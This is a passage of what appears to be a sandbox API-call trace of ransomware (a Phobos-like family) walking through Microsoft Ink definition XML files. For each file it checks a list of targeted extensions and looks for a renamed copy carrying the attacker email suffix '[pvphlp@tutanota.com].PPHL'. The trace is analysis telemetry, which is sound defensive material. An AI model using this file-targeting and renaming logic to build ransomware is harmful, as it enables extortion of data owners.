(normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0064.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0064.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0064.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0064.533] lstrlenW (lpString=".doc") returned 4 [0064.533] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.534] lstrlenW (lpString=".docx") returned 5 [0064.534] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.534] lstrlenW (lpString=".pdf") returned 4 [0064.534] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.534] lstrlenW (lpString=".xls") returned 4 [0064.534] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.534] lstrlenW (lpString=".xlsx") returned 5 [0064.534] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.534] lstrlenW (lpString=".ppt") returned 4 [0064.534] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0064.534] lstrlenW (lpString=".zip") returned 4 [0064.534] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.534] lstrlenW (lpString=".rar") returned 4 [0064.534] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.534] lstrlenW (lpString=".bz2") returned 4 [0064.534] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.534] lstrlenW (lpString=".7z") returned 3 [0064.534] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0064.534] lstrlenW (lpString=".dbf") returned 4 [0064.534] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0064.534] lstrlenW (lpString=".1cd") returned 4 [0064.534] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0064.534] lstrlenW (lpString=".jpg") returned 4 [0064.534] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0064.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0064.534] lstrlenW (lpString=".doc") returned 4 [0064.534] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.534] lstrlenW (lpString=".docx") returned 5 [0064.534] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.534] lstrlenW (lpString=".pdf") returned 4 [0064.535] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.535] lstrlenW (lpString=".xls") returned 4 [0064.535] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.535] lstrlenW (lpString=".xlsx") returned 5 [0064.535] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.535] lstrlenW (lpString=".ppt") returned 4 [0064.535] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0064.535] lstrlenW (lpString=".zip") returned 4 [0064.535] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.535] lstrlenW (lpString=".rar") returned 4 [0064.535] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.535] lstrlenW (lpString=".bz2") returned 4 [0064.535] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.535] lstrlenW (lpString=".7z") returned 3 [0064.535] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0064.535] lstrlenW (lpString=".dbf") returned 4 [0064.535] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0064.535] lstrlenW (lpString=".1cd") returned 4 [0064.535] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0064.535] lstrlenW (lpString=".jpg") returned 4 [0064.535] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.535] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0064.535] lstrlenW (lpString="keypadbase.xml") returned 14 [0064.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0064.595] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=1118) returned 1 [0064.595] CloseHandle (hObject=0x198) returned 1 [0064.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0064.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0064.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0064.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0064.596] lstrlenW (lpString=".doc") returned 4 [0064.596] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.596] lstrlenW (lpString=".docx") returned 5 [0064.596] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0064.596] lstrlenW (lpString=".pdf") returned 4 [0064.596] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.596] lstrlenW (lpString=".xls") returned 4 [0064.596] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.596] lstrlenW (lpString=".xlsx") returned 5 [0064.596] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0064.596] lstrlenW (lpString=".ppt") returned 4 [0064.596] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0064.596] lstrlenW (lpString=".zip") returned 4 [0064.596] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.596] lstrlenW (lpString=".rar") returned 4 [0064.596] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.596] lstrlenW (lpString=".bz2") returned 4 [0064.596] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.596] lstrlenW (lpString=".7z") returned 3 [0064.596] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0064.596] lstrlenW (lpString=".dbf") returned 4 [0064.596] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0064.597] lstrlenW (lpString=".1cd") returned 4 [0064.597] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0064.597] lstrlenW (lpString=".jpg") returned 4 [0064.597] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0064.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0064.597] lstrlenW (lpString=".doc") returned 4 [0064.597] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.597] lstrlenW (lpString=".docx") returned 5 [0064.597] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0064.597] lstrlenW (lpString=".pdf") returned 4 [0064.597] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.597] lstrlenW (lpString=".xls") returned 4 [0064.597] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.597] lstrlenW (lpString=".xlsx") returned 5 [0064.597] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0064.597] lstrlenW (lpString=".ppt") returned 4 [0064.597] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0064.597] lstrlenW (lpString=".zip") returned 4 [0064.597] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.597] lstrlenW (lpString=".rar") returned 4 [0064.597] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.597] lstrlenW (lpString=".bz2") returned 4 [0064.597] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.597] lstrlenW (lpString=".7z") returned 3 [0064.597] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0064.597] lstrlenW (lpString=".dbf") returned 4 [0064.597] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0064.598] lstrlenW (lpString=".1cd") returned 4 [0064.598] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0064.598] lstrlenW (lpString=".jpg") returned 4 [0064.598] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.598] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0064.598] lstrlenW (lpString="kor-kor.xml") returned 11 [0064.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0064.598] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=392) returned 1 [0064.598] CloseHandle (hObject=0x198) returned 1 [0064.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0064.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0064.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0064.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0064.599] lstrlenW (lpString=".doc") returned 4 [0064.599] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.599] lstrlenW (lpString=".docx") returned 5 [0064.599] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0064.599] lstrlenW (lpString=".pdf") returned 4 [0064.599] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.599] lstrlenW (lpString=".xls") returned 4 [0064.599] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.599] lstrlenW (lpString=".xlsx") returned 5 [0064.599] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0064.599] lstrlenW (lpString=".ppt") returned 4 [0064.599] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0064.599] lstrlenW (lpString=".zip") returned 4 [0064.599] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.599] lstrlenW (lpString=".rar") returned 4 [0064.599] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.599] lstrlenW (lpString=".bz2") returned 4 [0064.599] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.599] lstrlenW (lpString=".7z") returned 3 [0064.599] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0064.599] lstrlenW (lpString=".dbf") returned 4 [0064.599] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0064.599] lstrlenW (lpString=".1cd") returned 4 [0064.599] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0064.599] lstrlenW (lpString=".jpg") returned 4 [0064.599] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0064.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0064.599] lstrlenW (lpString=".doc") returned 4 [0064.599] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.599] lstrlenW (lpString=".docx") returned 5 [0064.600] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0064.600] lstrlenW (lpString=".pdf") returned 4 [0064.600] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.600] lstrlenW (lpString=".xls") returned 4 [0064.600] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.600] lstrlenW (lpString=".xlsx") returned 5 [0064.600] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0064.600] lstrlenW (lpString=".ppt") returned 4 [0064.600] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0064.600] lstrlenW (lpString=".zip") returned 4 [0064.600] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.600] lstrlenW (lpString=".rar") returned 4 [0064.600] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.600] lstrlenW (lpString=".bz2") returned 4 [0064.600] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.600] lstrlenW (lpString=".7z") returned 3 [0064.600] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0064.600] lstrlenW (lpString=".dbf") returned 4 [0064.600] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0064.600] lstrlenW (lpString=".1cd") returned 4 [0064.600] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0064.600] lstrlenW (lpString=".jpg") returned 4 [0064.600] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.600] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0064.600] lstrlenW (lpString="keypad.xml") returned 10 [0064.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0064.602] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=727) returned 1 [0064.602] CloseHandle (hObject=0x198) returned 1 [0064.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0064.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0064.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0064.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0064.602] lstrlenW (lpString=".doc") returned 4 [0064.602] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.602] lstrlenW (lpString=".docx") returned 5 [0064.602] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0064.602] lstrlenW (lpString=".pdf") returned 4 [0064.602] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.602] lstrlenW (lpString=".xls") returned 4 [0064.602] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.602] lstrlenW (lpString=".xlsx") returned 5 [0064.602] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0064.602] lstrlenW (lpString=".ppt") returned 4 [0064.602] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0064.602] lstrlenW (lpString=".zip") returned 4 [0064.602] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.602] lstrlenW (lpString=".rar") returned 4 [0064.602] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.602] lstrlenW (lpString=".bz2") returned 4 [0064.602] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.602] lstrlenW (lpString=".7z") returned 3 [0064.603] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0064.603] lstrlenW (lpString=".dbf") returned 4 [0064.603] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0064.603] lstrlenW (lpString=".1cd") returned 4 [0064.603] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0064.603] lstrlenW (lpString=".jpg") returned 4 [0064.603] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0064.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0064.603] lstrlenW (lpString=".doc") returned 4 [0064.603] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.603] lstrlenW (lpString=".docx") returned 5 [0064.603] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0064.603] lstrlenW (lpString=".pdf") returned 4 [0064.603] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.603] lstrlenW (lpString=".xls") returned 4 [0064.603] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.603] lstrlenW (lpString=".xlsx") returned 5 [0064.603] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0064.603] lstrlenW (lpString=".ppt") returned 4 [0064.603] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0064.603] lstrlenW (lpString=".zip") returned 4 [0064.603] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.603] lstrlenW (lpString=".rar") returned 4 [0064.603] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.603] lstrlenW (lpString=".bz2") returned 4 [0064.603] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.603] lstrlenW (lpString=".7z") returned 3 [0064.603] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0064.603] lstrlenW (lpString=".dbf") returned 4 [0064.603] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0064.604] lstrlenW (lpString=".1cd") returned 4 [0064.604] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0064.604] lstrlenW (lpString=".jpg") returned 4 [0064.604] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.604] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0064.604] lstrlenW (lpString="base.xml") returned 8 [0064.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0064.605] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=3150) returned 1 [0064.606] CloseHandle (hObject=0x198) returned 1 [0064.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0064.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0064.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0064.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0064.606] lstrlenW (lpString=".doc") returned 4 [0064.606] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.606] lstrlenW (lpString=".docx") returned 5 [0064.606] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0064.606] lstrlenW (lpString=".pdf") returned 4 [0064.606] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.606] lstrlenW (lpString=".xls") returned 4 [0064.606] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.606] lstrlenW (lpString=".xlsx") returned 5 [0064.606] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0064.606] lstrlenW (lpString=".ppt") returned 4 [0064.606] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0064.606] lstrlenW (lpString=".zip") returned 4 [0064.606] lstrcmpiW (lpString1=".zip", 